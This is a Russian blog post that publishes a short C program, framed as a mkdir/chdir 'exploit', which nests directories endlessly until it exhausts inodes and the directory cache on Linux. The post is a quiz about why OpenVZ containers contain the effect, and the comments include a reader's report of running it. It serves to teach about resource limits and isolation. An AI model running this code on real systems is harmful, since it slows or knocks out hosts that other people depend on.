k001
k001
:...

April 2032
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30

k001 [userpic]
mkdir/chdir эксплойт

Update: сей пост был как-то неправильно опубликован и посему не попал, похоже, во френдленты. Посему выкладываю его вновь.

Судя по всему, читателям моей уютненькой жежешечки понравился эксплойт из предыдущего сообщения. Поэтому я решил

  1. Привести его текст полностью.
  2. Устроить что-то вроде викторины.

Собственно, вот текст программы:

#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define DIRNAME "dcache-test-dir"

int main(void) {
        int i = 0;
        char dir[1024];
        
        getcwd(dir, sizeof(dir));
        
        while (1) {
                if (mkdir(DIRNAME, S_IRWXU) < 0) {
                        perror("Can't mkdir");
                        break;
                }
                if (chdir(DIRNAME) < 0) {
                        perror("Can't chdir");
                        break;
                }
                i++;
        }

        printf("Created/entered into %d directories!\n", i);
        /* Cleanup */
        chdir(dir);
        system("rm -rf " DIRNAME);
        return 1;
}

Вопросы будут такие:

  1. Что и почему произойдёт в Линукс-системе, где такое запустят?
  2. Почему OpenVZ от этого помогает?

Комменты скринятся. Сам отвечу в понедельник после обеда.

Tags: , ,
Comments

numfile учитывает количество открытых файлов. тут нет никаких открытых файлов.

Кстати, в VE (где у тебя лимиты нормальные) это можно без страха запускать, ничего страшного не будет. А вот на хост-системе…

В rm'е переполнение из-за слишком длинного полного пути/имени самого нижнего каталога?

rm — это не часть эксплойта, это просто клинап, что и указано в комментарии. Эксплойт — это mkdir/chdir в бесконечном цикле (пока не вернут ошибку).

Так это же боян, Кир :))) Сто лет бояну, ты чуть ли не две протвы тому рассказывал. Нешто не починили до сих пор?

Кстати, xen от этого тоже, как несложно догадаться, помогает.

А мужики-то многие и до сих пор не знают. Пётцель, кстати, как-то там это заткнул тоже в linux-vserver.

Xen от этого отнюдь не помогает, кстати, ибо весь Xen domain тихо умрёт, а у нас ничего не умирает, кроме, собственно, зловредного приложения.

У меня есть ещё один весёленький эксплойт аналогичного толка, но не баян, в пятницу буквально написали. Я пока не решил, что делать с ним, на докладе точный код не показывал (показывал примерный). Могу тебе намылить для личного ознакомления (заодно, может, на linux-vserver его запустишь).

Ну, запустил. Система где-то минут 40 подтормажывала с горящей лампочкой диска (ну, работать можно было, но тормоза заметные). Сожрало семь с половиной гектар, затем вывалилось с диагностикой:

1_ilan@azor /var/tmp%/tmp/a.out
Can't mkdir: No space left on device
Created/entered into 1545718 directories!


Когда я заметил правда на диске оставалось ещё 1.3 гектара, так что, подозреваю, что проблема была в количестве инодов. Потом за полтора часа ещё не удалило, но к утру — вполне.

а какое ядро?